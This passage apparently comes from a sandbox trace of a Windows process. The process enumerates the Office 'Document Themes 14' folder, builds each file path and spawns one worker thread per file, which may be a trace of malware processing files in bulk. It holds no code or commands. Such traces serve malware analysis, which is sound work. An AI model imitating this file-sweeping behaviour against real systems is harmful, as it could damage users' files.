[0142.657] wcscmp (_String1="Opulent.thmx", _String2="..") returned 1 [0142.657] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x84) returned 0x8e7838 [0142.657] wcscpy (in: _Dest=0x8e7838, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14" [0142.657] wcscat (in: _Dest=0x8e7838, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\" [0142.657] wcscat (in: _Dest=0x8e7838, _Source="Opulent.thmx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Opulent.thmx") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Opulent.thmx" [0142.657] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e7838, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x958 [0142.658] FindNextFileW (in: hFindFile=0x8da4d0, lpFindFileData=0x906908 | out: lpFindFileData=0x906908*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x229a5400, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5bca8c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x229a5400, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x16ef4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Oriel.thmx", cAlternateFileName="ORIEL~1.THM")) returned 1 [0142.658] wcscmp (_String1="Oriel.thmx", _String2=".") returned 1 [0142.659] wcscmp (_String1="Oriel.thmx", _String2="..") returned 1 [0142.659] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x80) returned 0x8f7f00 [0142.659] wcscpy (in: _Dest=0x8f7f00, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14" [0142.659] wcscat (in: _Dest=0x8f7f00, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\" [0142.659] wcscat (in: _Dest=0x8f7f00, _Source="Oriel.thmx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Oriel.thmx") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Oriel.thmx" [0142.659] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8f7f00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x95c [0142.662] FindNextFileW (in: hFindFile=0x8da4d0, lpFindFileData=0x906908 | out: lpFindFileData=0x906908*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x262ddb00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5bca8c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x262ddb00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x1540b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Origin.thmx", cAlternateFileName="ORIGIN~1.THM")) returned 1 [0142.662] wcscmp (_String1="Origin.thmx", _String2=".") returned 1 [0142.662] wcscmp (_String1="Origin.thmx", _String2="..") returned 1 [0142.662] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x82) returned 0x8e78c8 [0142.662] wcscpy (in: _Dest=0x8e78c8, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14" [0142.662] wcscat (in: _Dest=0x8e78c8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\" [0142.663] wcscat (in: _Dest=0x8e78c8, _Source="Origin.thmx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Origin.thmx") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Origin.thmx" [0142.663] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e78c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x960 [0142.664] FindNextFileW (in: hFindFile=0x8da4d0, lpFindFileData=0x906908 | out: lpFindFileData=0x906908*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x29c16200, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5c16b80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x29c16200, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x421e6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Paper.thmx", cAlternateFileName="PAPER~1.THM")) returned 1 [0142.664] wcscmp (_String1="Paper.thmx", _String2=".") returned 1 [0142.664] wcscmp (_String1="Paper.thmx", _String2="..") returned 1 [0142.664] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x80) returned 0x8f7f88 [0142.664] wcscpy (in: _Dest=0x8f7f88, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14" [0142.664] wcscat (in: _Dest=0x8f7f88, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\" [0142.664] wcscat (in: _Dest=0x8f7f88, _Source="Paper.thmx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Paper.thmx") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Paper.thmx" [0142.664] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8f7f88, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x964 [0142.665] FindNextFileW (in: hFindFile=0x8da4d0, lpFindFileData=0x906908 | out: lpFindFileData=0x906908*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51182f00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5c16b80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x51182f00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0xd15a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Perspective.thmx", cAlternateFileName="PERSPE~1.THM")) returned 1 [0142.665] wcscmp (_String1="Perspective.thmx", _String2=".") returned 1 [0142.665] wcscmp (_String1="Perspective.thmx", _String2="..") returned 1 [0142.665] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x8c) returned 0x9aada0 [0142.665] wcscpy (in: _Dest=0x9aada0, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14" [0142.665] wcscat (in: _Dest=0x9aada0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\" [0142.665] wcscat (in: _Dest=0x9aada0, _Source="Perspective.thmx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Perspective.thmx") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Perspective.thmx" [0142.665] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x9aada0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x968 [0142.667] FindNextFileW (in: hFindFile=0x8da4d0, lpFindFileData=0x906908 | out: lpFindFileData=0x906908*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54abb600, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5c3cce0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x54abb600, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0xc97ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pushpin.thmx", cAlternateFileName="PUSHPI~1.THM")) returned 1 [0142.667] wcscmp (_String1="Pushpin.thmx", _String2=".") returned 1 [0142.667] wcscmp (_String1="Pushpin.thmx", _String2="..") returned 1 [0142.667] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x84) returned 0x8e7958 [0142.667] wcscpy (in: _Dest=0x8e7958, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14" [0142.667] wcscat (in: _Dest=0x8e7958, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\" [0142.667] wcscat (in: _Dest=0x8e7958, _Source="Pushpin.thmx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Pushpin.thmx") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Pushpin.thmx" [0142.667] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e7958, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x96c [0142.668] FindNextFileW (in: hFindFile=0x8da4d0, lpFindFileData=0x906908 | out: lpFindFileData=0x906908*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81f86400, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5c62e40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x81f86400, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x106e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Slipstream.thmx", cAlternateFileName="SLIPST~1.THM")) returned 1 [0142.668] wcscmp (_String1="Slipstream.thmx", _String2=".") returned 1 [0142.668] wcscmp (_String1="Slipstream.thmx", _String2="..") returned 1 [0142.668] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x8a) returned 0x9aae38 [0142.668] wcscpy (in: _Dest=0x9aae38, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14" [0142.668] wcscat (in: _Dest=0x9aae38, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\" [0142.668] wcscat (in: _Dest=0x9aae38, _Source="Slipstream.thmx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Slipstream.thmx") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Slipstream.thmx" [0142.668] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x9aae38, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x970 [0142.669] FindNextFileW (in: hFindFile=0x8da4d0, lpFindFileData=0x906908 | out: lpFindFileData=0x906908*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c23bc00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5c62e40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x2c23bc00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x124a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Solstice.thmx", cAlternateFileName="SOLSTI~1.THM")) returned 1 [0142.669] wcscmp (_String1="Solstice.thmx", _String2=".") returned 1 [0142.670] wcscmp (_String1="Solstice.thmx", _String2="..") returned 1 [0142.670] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x86) returned 0x8e79e8 [0142.670] wcscpy (in: _Dest=0x8e79e8, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14" [0142.670] wcscat (in: _Dest=0x8e79e8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\" [0142.670] wcscat (in: _Dest=0x8e79e8, _Source="Solstice.thmx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Solstice.thmx") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Solstice.thmx" [0142.670] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e79e8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x974 [0142.671] FindNextFileW (in: hFindFile=0x8da4d0, lpFindFileData=0x906908 | out: lpFindFileData=0x906908*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2fb74300, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5c88fa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x2fb74300, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x10d83, dwReserved0=0x0, dwReserved1=0x0, cFileName="Technic.thmx", cAlternateFileName="TECHNI~1.THM")) returned 1 [0142.671] wcscmp (_String1="Technic.thmx", _String2=".") returned 1 [0142.671] wcscmp (_String1="Technic.thmx", _String2="..") returned 1 [0142.671] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x84) returned 0x8e7a78 [0142.671] wcscpy (in: _Dest=0x8e7a78, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14" [0142.671] wcscat (in: _Dest=0x8e7a78, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\" [0142.671] wcscat (in: _Dest=0x8e7a78, _Source="Technic.thmx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Technic.thmx") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Technic.thmx" [0142.671] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e7a78, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x978 [0142.672] FindNextFileW (in: hFindFile=0x8da4d0, lpFindFileData=0x906908 | out: lpFindFileData=0x906908*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x59706a00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5c88fa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x59706a00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x15d75, dwReserved0=0x0, dwReserved1=0x0, cFileName="Thatch.thmx", cAlternateFileName="THATCH~1.THM")) returned 1 [0142.672] wcscmp (_String1="Thatch.thmx", _String2=".") returned 1 [0142.672] wcscmp (_String1="Thatch.thmx", _String2="..") returned 1 [0142.673] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x82) returned 0x8e7b08 [0142.673] wcscpy (in: _Dest=0x8e7b08, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14" [0142.673] wcscat (in: _Dest=0x8e7b08, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\" [0142.673] wcscat (in: _Dest=0x8e7b08, _Source="Thatch.thmx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Thatch.thmx") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Thatch.thmx" [0142.673] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e7b08, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x97c [0142.674] FindNextFileW (in: hFindFile=0x8da4d0, lpFindFileData=0x906908 | out: lpFindFileData=0x906908*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c9cf70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x603f4990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x603f4990, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Theme Colors", cAlternateFileName="THEMEC~1")) returned 1 [0142.674] wcscmp (_String1="Theme Colors", _String2=".") returned 1 [0142.674] wcscmp (_String1="Theme Colors", _String2="..") returned 1 [0142.674] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x84) returned 0x8e7b98 [0142.674] wcscpy (in: _Dest=0x8e7b98, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14" [0142.674] wcscat (in: _Dest=0x8e7b98, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\" [0142.674] wcscat (in: _Dest=0x8e7b98, _Source="Theme Colors" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors" [0142.674] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8e7b98, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x980 [0142.723] FindNextFileW (in: hFindFile=0x8da4d0, lpFindFileData=0x906908 | out: lpFindFileData=0x906908*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xe5caf100, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe5caf100, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Theme Effects", cAlternateFileName="THEMEE~1")) returned 1 [0142.723] wcscmp (_String1="Theme Effects", _String2=".") returned 1 [0142.723] wcscmp (_String1="Theme Effects", _String2="..") returned 1 [0142.723] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x86) returned 0x8e7c28 [0142.723] wcscpy (in: _Dest=0x8e7c28, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14" [0142.723] wcscat (in: _Dest=0x8e7c28, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\" [0142.723] wcscat (in: _Dest=0x8e7c28, _Source="Theme Effects" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects" [0142.723] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8e7c28, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x984 [0142.724] FindNextFileW (in: hFindFile=0x8da4d0, lpFindFileData=0x906908 | out: lpFindFileData=0x906908*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528a9ed0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6187c750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6187c750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Theme Fonts", cAlternateFileName="THEMEF~1")) returned 1 [0142.724] wcscmp (_String1="Theme Fonts", _String2=".") returned 1 [0142.724] wcscmp (_String1="Theme Fonts", _String2="..") returned 1 [0142.724] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x82) returned 0x8e7cb8 [0142.724] wcscpy (in: _Dest=0x8e7cb8, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14" [0142.725] wcscat (in: _Dest=0x8e7cb8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\" [0142.725] wcscat (in: _Dest=0x8e7cb8, _Source="Theme Fonts" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts" [0142.725] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8e7cb8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x988 [0142.726] FindNextFileW (in: hFindFile=0x8da4d0, lpFindFileData=0x906908 | out: lpFindFileData=0x906908*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x334aca00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5c88fa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x334aca00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x2a23c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Trek.thmx", cAlternateFileName="TREK~1.THM")) returned 1 [0142.726] wcscmp (_String1="Trek.thmx", _String2=".") returned 1 [0142.726] wcscmp (_String1="Trek.thmx", _String2="..") returned 1 [0142.726] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x7e) returned 0x8f8010 [0142.726] wcscpy (in: _Dest=0x8f8010, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14" [0142.726] wcscat (in: _Dest=0x8f8010, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\" [0142.726] wcscat (in: _Dest=0x8f8010, _Source="Trek.thmx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Trek.thmx") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Trek.thmx" [0142.726] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8f8010, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x98c [0142.727] FindNextFileW (in: hFindFile=0x8da4d0, lpFindFileData=0x906908 | out: lpFindFileData=0x906908*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36de5100, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5caf100, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x36de5100, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0xfc70, dwReserved0=0x0, dwReserved1=0x0, cFileName="Urban.thmx", cAlternateFileName="URBAN~1.THM")) returned 1 [0142.727] wcscmp (_String1="Urban.thmx", _String2=".") returned 1 [0142.727] wcscmp (_String1="Urban.thmx", _String2="..") returned 1 [0142.728] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x80) returned 0x8f8098 [0142.728] wcscpy (in: _Dest=0x8f8098, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14" [0142.728] wcscat (in: _Dest=0x8f8098, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\" [0142.728] wcscat (in: _Dest=0x8f8098, _Source="Urban.thmx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Urban.thmx") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Urban.thmx" [0142.728] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8f8098, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x990 [0142.733] FindNextFileW (in: hFindFile=0x8da4d0, lpFindFileData=0x906908 | out: lpFindFileData=0x906908*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3a71d800, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5caf100, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3a71d800, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x12600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Verve.thmx", cAlternateFileName="VERVE~1.THM")) returned 1 [0142.733] wcscmp (_String1="Verve.thmx", _String2=".") returned 1 [0142.733] wcscmp (_String1="Verve.thmx", _String2="..") returned 1 [0142.733] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x80) returned 0x8f8120 [0142.733] wcscpy (in: _Dest=0x8f8120, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14" [0142.733] wcscat (in: _Dest=0x8f8120, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\" [0142.733] wcscat (in: _Dest=0x8f8120, _Source="Verve.thmx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Verve.thmx") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Verve.thmx" [0142.733] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8f8120, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8b8 [0142.734] FindNextFileW (in: hFindFile=0x8da4d0, lpFindFileData=0x906908 | out: lpFindFileData=0x906908*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5d03f100, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5cd5260, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x5d03f100, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x2c681, dwReserved0=0x0, dwReserved1=0x0, cFileName="Waveform.thmx", cAlternateFileName="WAVEFO~1.THM")) returned 1 [0142.734] wcscmp (_String1="Waveform.thmx", _String2=".") returned 1 [0142.734] wcscmp (_String1="Waveform.thmx", _String2="..") returned 1 [0142.734] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x86) returned 0x8e7d48 [0142.734] wcscpy (in: _Dest=0x8e7d48, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14" [0142.734] wcscat (in: _Dest=0x8e7d48, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\" [0142.734] wcscat (in: _Dest=0x8e7d48, _Source="Waveform.thmx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Waveform.thmx") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Waveform.thmx" [0142.734] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, 